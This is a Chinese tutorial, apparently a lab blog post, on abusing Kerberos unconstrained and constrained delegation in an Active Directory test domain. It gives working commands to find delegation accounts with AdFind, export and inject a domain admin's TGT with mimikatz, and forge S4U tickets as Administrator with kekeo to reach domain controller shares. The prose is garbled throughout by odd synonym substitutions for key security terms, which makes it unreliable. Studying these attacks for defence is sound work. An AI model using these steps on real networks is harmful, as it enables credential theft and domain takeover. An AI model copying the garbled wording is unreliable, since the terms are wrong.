本文已参加「新人创造礼」活动.一起敞开创造之路。

一、域派遣

域派遣是指将域内用户的权限派遣给服务账号,使得服务账号能以用户的权限在域内展开活动。

派遣主要分为非束缚派遣(Unconstrained delegation)和束缚派遣(Constrained delegation)两个方法,还有一种是根据资源的束缚派遣(Resource Based Constrained Delegation)。

为什么需求域派遣

为什么需求域派遣呢,比方现在有web服务器和文件服务器,当用户A拜访web服务器去恳求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其间产生的过程若以域派遣的形式进行,那么便是:用户A拜访web服务器,服务器再以用户A的身份去拜访文件服务器。

二、非束缚派遣

非束缚派遣(Unconstrained Delegation),服务账号可以获取某用户的TGT,然后服务账号可运用该TGT,模仿用户拜访恣意服务。

例如:

当user拜访service时,假如service的服务账号或许主机敞开了(非束缚派遣),则当user拜访service时会将user的TGT发送给service并保存在内存中以备下次重用,然后service就可以运用这张TGT以user的身份去拜访域内的任何服务(任何服务是指user能拜访的服务),假如这儿的user是域办理员用户,那么咱们便可以得到该用户的TGT。

非束缚派遣的进犯方法中有两种:

1、设置主机账户为非束缚派遣,经过域办理账户对该主机账户进行拜访,留下收据在该主机账户下,然后拿该收据去写入内存,然后可以运用域办理的TGT去拜访域控。

2、设置服务账号为非束缚派遣,经过域办理账户对该服务进行拜访,留下收据在该主机账户下,然后拿该收据去写入内存,然后可以运用域办理的TGT去拜访域控。

非束缚派遣进犯

试验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域办理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194   敞开了非束缚派遣

1、敞开win7主机账号的派遣特点

域内委派攻击

对win7主机账号敞开了派遣特点,若咱们拿下win7这台机器并且有域账户,域控拜访了该机器则可以进行进犯


这儿咱们直接在域控将域账号win7注册为服务账号

setspn -U -A 服务称号/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7

域内委派攻击

检查 setspn -Q / 可发现成功注册

域内委派攻击

2、敞开域账户的派遣特点

注册成功后可发现特点中有了派遣这个特点,若没注册服务账号则没有该特点选项。

域内委派攻击

3、查询非束缚派遣的主机和用户

查询非束缚派遣的主机:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非束缚派遣的用户:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询非束缚派遣的用户:

域内委派攻击
查询非束缚派遣的主机:

域内委派攻击


⾮束缚派遣进犯利⽤

当设置了非束缚性派遣,需求让域控模仿拜访被设置了⾮束缚派遣的机器。可以运用如下的方法模仿拜访

1、在域办理员win2012上履行

Enter-PSSession -ComputerName win7

域内委派攻击

域办理员模仿拜访被设置了束缚派遣的机器后,这个时分其实域办理win2012的 TGT 已经缓存在 win7机器上了

2、运用mimikatz导出凭证

以本地办理员权限运转mimikatz

域内委派攻击

先铲除一下当时收据缓存:
"privilege::debug" "kerberos::purge" "exit"

域内委派攻击

3、运用 mimikatz导出所有收据出来:

privilege::debug
sekurlsa::tickets /export

域内委派攻击

4、这个时分咱们获得了域办理员win2012的 TGT !咱们现在拜访域控肯定是拜访不了的

域内委派攻击

5、 注入收据:

域内委派攻击

6、注入收据之后咱们就可以在win7上拜访域控了

dir \DC\c$

域内委派攻击

三、束缚派遣

束缚性派遣(Constrained Delegation),即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的ST,然后只能模仿用户拜访特定的服务

因为非束缚派遣的不安全性,引入了束缚派遣,对kerberos协议进行了扩展,参加S4U,其间S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都答应服务代表用户从KDC恳求票证。 S4U2self可以代表本身恳求针对其本身的可转发的Kerberos服务收据(ST1) ; S4U2proxy可以以用户的名义恳求其它服务的ST2 ,束缚派遣便是束缚了S4U2proxy扩展的规模。

user拜访serviceA,向DC发起kerberos认证,域控回来user的TGT和ST1收据,user运用ST1收据对serviceA进行拜访;

假如配置了serviceA到serviceB的束缚派遣,则serviceA能运用S4U2Proxy协议将用户发给自己的可转发的ST1收据以用户的身份发给DC;DC回来serviceA一个用来拜访serviceB的ST2收据,这样serviceA就能以用户的身份对serviceB发起拜访。

进犯原理

因为服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模仿用户拜访特定的服务 ;但是假如可以拿到束缚派遣用户(或主机)的明文暗码或hash,那么就可以假造S4U的恳求,伪装成服务用户以恣意用户的权限恳求拜访指定服务的ST2。

束缚派遣进犯运用

试验环境

域: hacker.lab
域控(win2012): 192.168.189.193
域办理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194  敞开了对域办理员win2012 cifs服务的束缚派遣

1、这儿咱们在域控将域账号win7注册为服务账号

setspn -U -A 服务称号/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7

域内委派攻击

2、将主机win7设置为束缚派遣,并添加服务(cifs)

域内委派攻击

将用户win7设置为束缚派遣,并添加服务(cifs)

域内委派攻击

3、查询束缚派遣的主机和用户

查询束缚派遣的用户
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询束缚派遣的主机
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查询束缚派遣的用户

域内委派攻击

查询束缚派遣的主机

域内委派攻击

4、运用kekeo恳求服务用户的TGT:(这一步需求知晓账户的明文暗码或hash)

kekeo下载地址:github.com/gentilkiwi/…

tgt::ask /user:win7 /domain:hacker.lab /password:chiza2596! /ticket:test.kirbi  #运用明文暗码恳求
tgt::ask /user:win7 /domain:hacker.lab /NTLM:XXXXX #运用hash恳求

域内委派攻击

履行完成后得到服务用户的TGT

域内委派攻击

5、运用这个收据经过假造S4U恳求以administrator身份拜访win7的ST

tgs::s4u /tgt:TGT_win7@HACKER.LAB_krbtgt~hacker.lab@HACKER.LAB.kirbi /user:Administrator@hacker.lab /service:cifs/win2012.hacker.lab

域内委派攻击

履行完成后administrator的ticket (用于拜访win7的CIFS服务),将这个凭证导入拜访win7的cifs服务

域内委派攻击

6、导入凭证

kerberos::ptt TGS_Administrator@hacker.lab@HACKER.LAB_cifs~win2012.hacker.lab@HACKER.LAB.kirbi

域内委派攻击

凭证导入前

域内委派攻击

导入凭证后

dir \win2012.hacker.lab\c$

域内委派攻击

总结

1、当咱们查询到域内束缚派遣的用户时,并知晓它的明文暗码或NTLM hash,才干运用东西恳求它的TGT;

2、然后运用这个TGT,假造S4U恳求以administrator身份去拜访这个服务账号的ST;

3、这儿可以生成恣意权限身份的ticket,咱们是以administrator身份去拜访的,所以生成的便是administrator的ticket,这个便是ST2;最后运用东西导入这个ST2,那咱们就可以成功拜访相应的机器;一般束缚派遣大都用于用户权限维持。